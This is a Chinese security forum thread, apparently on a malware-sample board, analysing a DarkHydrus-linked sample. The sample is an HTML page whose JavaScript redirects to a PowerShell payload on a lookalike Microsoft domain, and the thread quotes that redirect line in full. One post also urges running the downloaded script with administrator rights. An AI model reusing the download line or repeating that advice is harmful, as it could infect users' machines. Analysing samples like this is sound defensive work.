DarkHydrus针对中东政府发起攻击部分样本

显示全部楼层 · 发表于 2018-8-6 21:04:43

Karna 发表于 2018-8-6 21:01
Loading...window.location.replace('http://micrrosoft.net/winupdate.ps1?js=eyJhbGciOiJIUzI1NiIsInR5 ...

http://micrrosoft.net/winupdate.ps1?js=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJqcyI6MX0.fADWc9hUOlh58R9UzufQBROmie3I7c7vE835oE6YmU4&uuid=2bf6264c-9951-11e8-b0a0-3a85dfd28002

这一串，下载，文本打开，放powershell管理员权限执行。。

显示全部楼层 · 发表于 2018-8-6 21:09:35

本帖最后由 Karna 于 2018-8-6 21:46 编辑

ELOHIM 发表于 2018-8-6 21:04
这一串，下载，文本打开，放powershell管理员权限执行。。

编辑掉

显示全部楼层 · 发表于 2018-8-6 21:10:55

Karna 发表于 2018-8-6 21:09
！！！你在逗我吧，大神
这意思不就是说这个文件不是powershell的语句了吗？？？这不就是我之前 ...

我今天暂时理解不了你在说什么，改天我再回头看看吧。

显示全部楼层 · 发表于 2018-8-6 21:13:18

ELOHIM 发表于 2018-8-6 21:10
我今天暂时理解不了你在说什么，改天我再回头看看吧。

我服

显示全部楼层 · 发表于 2018-8-6 21:42:40

本帖最后由 Karna 于 2018-8-6 23:53 编辑

ELOHIM 发表于 2018-8-6 21:10
我今天暂时理解不了你在说什么，改天我再回头看看吧。

我又看了一下，想到你说的还有这种意思，但事实是还是报错@B100D1E55 来帮忙解释一下吧，楼主这个文件到底能否被powershell执行

显示全部楼层 · 发表于 2018-8-6 22:07:41

火绒、智量均不报，但智量本身不查杀html 。

显示全部楼层 · 发表于 2018-8-6 22:28:51

Karna 发表于 2018-8-6 21:42
我又看了一下，想到你说的还有这种意思，但事实是还是报错@B100D1E55 大神来帮忙解释一下吧，楼主这个文 ...

非大神，不过看了一下这个文件是一个网页，用js指向恶意powershell让网页浏览器加载。

micrrosoft.net
这种破烂域名一看就不是什么好东西

显示全部楼层 · 发表于 2018-8-6 22:31:40

B100D1E55 发表于 2018-8-6 22:28
非大神，不过看了一下这个文件是一个网页，用js指向恶意powershell让网页浏览器加载。

micrrosoft.net ...

所以这是个HTML文件，不是ps1文件，对吧

显示全部楼层 · 发表于 2018-8-6 22:34:06

Karna 发表于 2018-8-6 22:31
所以这是个HTML文件，不是ps1文件，对吧

是啊，你用记事本打开看就知道，就是网页上显示一个loading的字样，背后js脚本替换成恶意域名下的ps1链接加载。当然这个链接现在已经失效了

显示全部楼层 · 发表于 2018-8-6 22:36:06

B100D1E55 发表于 2018-8-6 22:34
是啊，你用记事本打开看就知道，就是网页上显示一个loading的字样，背后js脚本替换成恶意域名下的ps1链接 ...

感谢，事实证明我是对的，累死我了

以后再不这么折腾了，谢谢

[病毒样本] DarkHydrus针对中东政府发起攻击部分样本

本帖子中包含更多资源